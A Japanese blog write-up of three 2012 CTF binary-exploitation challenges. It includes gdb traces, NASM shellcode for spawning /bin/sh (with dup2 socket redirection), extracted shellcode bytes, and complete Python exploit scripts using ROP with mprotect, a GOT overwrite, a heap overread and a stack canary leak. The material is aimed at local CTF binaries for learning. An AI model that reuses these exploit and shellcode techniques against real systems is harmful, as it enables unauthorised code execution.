pwn challenges list easy writeup その1
pwn challenges list easyのWriteup
babyのWriteupをさぼってしまったのでeasyでは少しずつ書いていこうと思います。
使っているライブラリは
にあります。
2018/08/05 追記:途中からpwntoolsを使っています。 また、ライブラリが少し更新されているのでpwntoolsを使う前のexploitでは通らない可能性があります。
Writeup
[PoliCTF 2012] Bin-Pwn 300
ELF 32-bit、動的リンク、NX有効。
% file chal chal: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.9, not stripped % checksec -f chal RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 8 chal
実行するとポート32000で待つのでncで接続してみる。(ポート番号はstraceでわかる)
% nc localhost 32000 AAAAAA BBBBBBBBB %
よくわからないのでgdbで追ってみる。
nc localhost 32000
で接続してから
% ps a PID TTY STAT TIME COMMAND 1210 tty1 Ss+ 0:00 /sbin/agetty --noclear tty1 linux 1216 ttyS0 Ss+ 0:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220 15977 pts/6 Ss+ 0:00 -zsh 18385 pts/4 Ss 0:00 -zsh 19061 pts/0 Ss 0:00 -zsh 19064 pts/0 S+ 0:00 tmux attach 19142 pts/4 S+ 0:00 ./chal 19146 pts/1 Ss 0:00 -zsh 19150 pts/2 S+ 0:00 nc localhost 32000 19151 pts/4 S+ 0:00 ./chal 19152 pts/1 R+ 0:00 ps a 28207 pts/5 Ss+ 0:04 -zsh 28721 pts/2 Ss 0:02 -zsh % sudo gdb -q -p 19151 gdb-peda$ finish gdb-peda$ finish Run till exit from #0 0xf75ff41e in recv () from /lib32/libc.so.6 [----------------------------------registers---------------------------------- EAX: 0x10 EBX: 0x0 ECX: 0x0 EDX: 0x0 ESI: 0xf76c9000 --> 0x1afdb0 EDI: 0xf76c9000 --> 0x1afdb0 EBP: 0xfffa8db8 --> 0xfffa8e18 --> 0x0 ESP: 0xfffa8b80 --> 0x4 EIP: 0x8049326 (<serve+152>: mov BYTE PTR [ebp-0x20d],0x0) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code------------------------------------- 0x804931b <serve+141>: mov eax,DWORD PTR [ebp+0x8] 0x804931e <serve+144>: mov DWORD PTR [esp],eax 0x8049321 <serve+147>: call 0x8048870 <recv@plt> => 0x8049326 <serve+152>: mov BYTE PTR [ebp-0x20d],0x0 0x804932d <serve+159>: mov DWORD PTR [ebp-0xc],0x0 0x8049334 <serve+166>: jmp 0x804935c <serve+206> 0x8049336 <serve+168>: lea edx,[ebp-0x21c] 0x804933c <serve+174>: mov eax,DWORD PTR [ebp-0xc] [------------------------------------stack------------------------------------- 0000| 0xfffa8b80 --> 0x4 0004| 0xfffa8b84 --> 0xfffa8b9c ("\najoijiew\nalfjie") 0008| 0xfffa8b88 --> 0x10 0012| 0xfffa8b8c --> 0x100 0016| 0xfffa8b90 --> 0xf770253c --> 0xf76de000 --> 0x464c457f 0020| 0xfffa8b94 --> 0x0 0024| 0xfffa8b98 --> 0xf76ed1da (add esp,0x10) 0028| 0xfffa8b9c ("\najoijiew\nalfjie") [------------------------------------------------------------------------------ Legend: code, data, rodata, value 0x08049326 in serve ()
スタックを見てみるとrecv(4,0xfffa8b9c,0x10,0x100)が呼び出されていたことがわかる。flagにMSG_WAITALLが設定されているので0x10文字ちょうど送信する必要がある。
gdb-peda$ man recv ... MSG_WAITALL (since Linux 2.2) This flag requests that the operation block until the full request is satisfied. However, the call may still return less data than requested if a signal is caught, an error or disconnect occurs, or the next data to be received is of a different type than that returned. ...
その後入力した文字列を\nを区切り文字としてwhite
、black
、bintendo64
、46odnetnib
、hex
、hax
と比較してそれぞれのコマンドを実行している。
それぞれのコマンドを見ていくとblackでバッファオーバーフローを起こせることがわかった(全部読むのが大変だった…)。
blackでは0x200文字(これも0x200文字ちょうど送信する必要がある)を入力する。1文字ずつ見ていき、0x09('\t')だったら1をセット0x20(' ')だったら0をセットして、1bit左シフト、を繰り返し、バッファに保存していく。この保存先が親のスタックフレームのebpに近いため、戻り番地を書き換えることができる。
mprotectが使えるのでbssを実行可能にしてそこにシェルコードを書き込み、好きな関数のGOTをシェルコードの先頭に書き換えれば、シェルコードを実行できる。
シェルコードの作り方は
global main main: xor eax, eax push eax mov ecx, esp mov edx, esp mov al, 0xb push 0x68732f2f push 0x6e69622f mov ebx, esp int 0x80
上のコードをアセンブルして、objdumpの出力のコードの部分だけ抽出する(他のやり方があったら教えてほしい)。
% nasm -felf32 shell32.asm % for x in $(objdump -d shell32.o | grep -A100 0: | cut -f2); do echo -n "\\\x$x"; done; echo \x31\xc0\x50\x89\xe1\x89\xe2\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
#!/usr/bin/env python from pwnlib import * def b2ts(b): ret = "" for i in range(8)[::-1]: if 1<<i&ord(b): ret += "\t" else: ret += " " return ret if __name__ == '__main__': s = Remote("localhost",32000) mprotect_plt = 0x8048710 mprotect_got = 0x804b014 recv_plt = 0x8048870 pop3ret = 0x80496a1 pop4ret = 0x80496a0 bss_addr = 0x804b000 shellcode = get_shellcode("lin32") payload = "" payload += "A" * 0x10 payload += p32(mprotect_plt) payload += p32(pop3ret) payload += p32(bss_addr) + p32(0x1000) + p32(7) payload += p32(recv_plt) payload += p32(pop4ret) payload += p32(4) + p32(bss_addr+200) + p32(len(shellcode)) + p32(0) payload += p32(recv_plt) payload += p32(mprotect_plt) payload += p32(4) + p32(mprotect_got) + p32(0x4) + p32(0) payload += "A" * (0x80 - len(payload)) payload = "".join(map(b2ts,payload)) s.send("black\n" + "A"*10 + payload * 5) s.send(shellcode) s.send(p32(bss_addr+200)) s.interact()
% ./exploit.py [*] Switching to interactive mode $ ls asm.txt chal cmd exploit.py $ exit *** Connection closed ***
[PHDays CTF 2012] #07 PWN200
ELF 32-bit、動的リンク、SSPとNX有効。
% file heaptaskforbin heaptaskforbin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.15, BuildID[sha1]=60830f78c4331bce955103f8cf77e1e5c47e361d, stripped % checksec -f heaptaskforbin RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 heaptaskforbin
メッセージを扱うプログラムで5つの機能がある。
- メッセージの作成
- メッセージの表示
- メッセージの末尾に新たな文字列を追加
- メッセージの書き直し
- メッセージの削除
メッセージを作成すると対応するIDが返ってきて、2-5の機能ではそのIDを指定する。
% ./heaptaskforbin 14455 % nc localhost 14455 Welcome 1 - save message 2 - show message 3 - append message 4 - rewrite message 5 - delete message 1 Input your message hoge Message saved. Message ID = 1
それぞれの機能がどのように実装されているかを簡単に説明する。
メッセージの作成
0x400文字まで保存可能。mallocで0x100だけ確保し、そこにメッセージを書き込むが改行はnull文字に置き換えられる。メッセージの長さが0x100以上なら0x100ごとにreallocで確保する。文字列へのポインタとその長さとIDをテーブルに保存する。メッセージの表示
入力したIDに対応するテーブルを探し、文字列が存在すれば出力する。メッセージの末尾に新たな文字列を追加
条件は詳しく見ていないがほとんどの場合で、元のメッセージの末尾にmemcpyで文字列を追加。(mallocで確保していない領域まで書き込む)メッセージの書き換え
(読んでいない)メッセージの削除
確保していた領域をfreeしてテーブルに保存されているポインタにNULLを入れる。
実行ファイルに"flag"という文字列があったのでどこで使われているか見てみたらopenしてheapに書き込んでいた。
% gdb -q heaptaskforbin gdb-peda$ start gdb-peda$ find flag Searching for 'flag' in: None ranges Found 30 results, display max 30 items: heaptaskforbin : 0x804a73c ("flag") heaptaskforbin : 0x804b73c ("flag") libc : 0xf7c39746 ("flags") libc : 0xf7c3c0c8 ("flags") libc : 0xf7c3c528 ("flags") libc : 0xf7d81720 ("flags") ... gdb-peda$ q % objdump -d -M intel heaptaskforbin ... 8048d37: c7 04 24 00 01 00 00 mov DWORD PTR [esp],0x100 8048d3e: e8 7d fc ff ff call 80489c0 <malloc@plt> 8048d43: 89 85 78 ff ff ff mov DWORD PTR [ebp-0x88],eax 8048d49: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 8048d50: 00 8048d51: c7 04 24 3c a7 04 08 mov DWORD PTR [esp],0x804a73c <- "flag" 8048d58: e8 13 fb ff ff call 8048870 <open@plt> 8048d5d: 89 45 80 mov DWORD PTR [ebp-0x80],eax 8048d60: c7 44 24 08 30 00 00 mov DWORD PTR [esp+0x8],0x30 8048d67: 00 8048d68: 8b 85 78 ff ff ff mov eax,DWORD PTR [ebp-0x88] 8048d6e: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 8048d72: 8b 45 80 mov eax,DWORD PTR [ebp-0x80] 8048d75: 89 04 24 mov DWORD PTR [esp],eax 8048d78: e8 a3 fb ff ff call 8048920 <read@plt> 8048d7d: 8b 45 94 mov eax,DWORD PTR [ebp-0x6c] 8048d80: 8d 50 ff lea edx,[eax-0x1] ...
機能1や機能3で、改行を送らなければnull文字を入れられることはないため、メッセージを作成してフラグにぶつかるまで文字列を追加していくと割と高い確率でフラグが得られる(strlenで文字の長さを判断しているため、連続していればメッセージの一部として扱われる)。
#!/usr/bin/env python from pwnlib import * def save(m): s.sendline("1") s.send(m) s.recvuntil("Message ID = ") return s.recvline() def show(_id): s.sendline("2") s.sendline(_id) s.recvuntil("Your message:\n") return s.recvuntil("Welcome")[:-10] def append(_id,m): s.sendline("3") s.sendline(_id) s.recvuntil("in message\n") s.send(m) s.recvuntil("Success\n") if __name__ == '__main__': s = Remote("localhost",14455) for i in range(0x30): _id = save("A"*0xff) for l in range(0x100,0x400,2): append(_id,"A"*2) res = show(_id) if len(res) > l + 5: if "flag" in res: print res exit(0) break s.close()
% ./exploit.py AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAthis is flag.
[29c3 CTF 2012] Exploitation - update_server
ELF 32-bit、動的リンク、SSP有効。
% file update_server update_server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ce576f2b205fb378801a1c5592d81e7cd31e1e85, stripped % checksec -f update_server RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX disabled No PIE No RPATH No RUNPATH Yes 03update_server
versionとlinkを適当に作って、パスワードを指定して起動すると1024番ポートで待ち受ける。
% echo -n "v3.0\x00" > version % echo -n "hoge" > link % ./update_server pass
% nc localhost 1024 Version? v3.0 State: up to date Version: 3.0
動作は3パターンあり、古いバージョンを指定すると"update available"と色々な情報(メモリダンプ)を返し、同じバージョンを指定すると上のように"up to date"と入力したバージョンを返し、新しいバージョンを指定するとパスワードを聞かれ、正しいパスワードを入力すればバージョンが更新され、メモリダンプを返すと同時に0x400文字の入力が許されバッファオーバーフローを起こせる。
攻撃の流れとしては、
- バージョンを特定する(これは適当に入力すればわかる)
- パスワードを特定する
- canaryをleakする
- シェルコードを送る
パスワードはesp+0x53cにあり、バージョンの入力をesp+0x4bcから上限0x80文字で行うため、パスワードの直前まで文字を埋められる。上で言った「同じバージョンを指定すると入力したバージョンを返す」はstrlenで入力の文字列の長さを判断するため、0x80文字いっぱい埋めればパスワードも文字列の一部として認識され、パスワードも出力される。
% python -c 'print "v3.0" + "A" * 0x7c' | nc localhost 1024 Version? State: up to date Version: 3.0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAApass
canaryは出力されるメモリダンプの中に含まれているのでgdbなどを使ってどれがcanaryかを特定する。また、シェルコードに処理を移すときに必要なスタックのアドレスもメモリダンプの中に含まれている。
fork-server型なので、シェルコードではdupで入出力をソケットにつなぐようにしている。
global main main: ; dup2(4,0) xor eax, eax mov al, 0x3f xor ebx, ebx mov bl, 0x4 xor ecx, ecx int 0x80 ; dup2(4,1) mov al, 0x3f inc ecx int 0x80 ; dup2(4,2) mov al, 0x3f inc ecx int 0x80 ; execve("/bin//sh",NULL,NULL) xor eax, eax push eax mov ecx, esp mov edx, esp mov al, 0xb push 0x978cd0d0 not DWORD [esp] push 0x91969dd0 not DWORD [esp] mov ebx, esp int 0x80
#!/usr/bin/env python from pwnlib import * if __name__ == '__main__': s = Remote("localhost",1024) s.send("\x00\x00") s.recvuntil("Version:\n") version = s.recvline() print "[*] version:", version s.close() s = Remote("localhost",1024) s.send("v" + version + "B" * (0x6f-len(version)) + "A"*0x10) s.recvuntil("A"*0x10) password = s.recvline() print "[*] password:", password s.close() s = Remote("localhost",1024) s.send("A"*0x80) s.send(password) s.recvuntil(password + "\n") for i in range(44): s.recvline() canary = u32(s.recvline()[:-1]) << 8 print "[*] canary:", hex(canary) for i in range(13): s.recvline() buf_addr = u32(s.recvline()[3:7]) print "[*] buffer address:", hex(buf_addr) s.recvuntil("Link?\n") payload = "" payload += "A" * 0x100 payload += p32(canary) payload += "A" * 0x1c payload += p32(buf_addr - 0x18) payload += get_shellcode("dup32") s.send(payload) s.interact()
% ./exploit.py [*] version: 3.0 [*] password: pass [*] canary: 0x27e4c100 [*] buffer address: 0xff953818 [*] Switching to interactive mode $ ls asm.txt exploit.py link update_server version $ exit *** Connection closed ***
感想
babyと比べて攻撃手法は難しくないけど、バイナリを読むのが大変。
デバッグ力がついてきた気がする。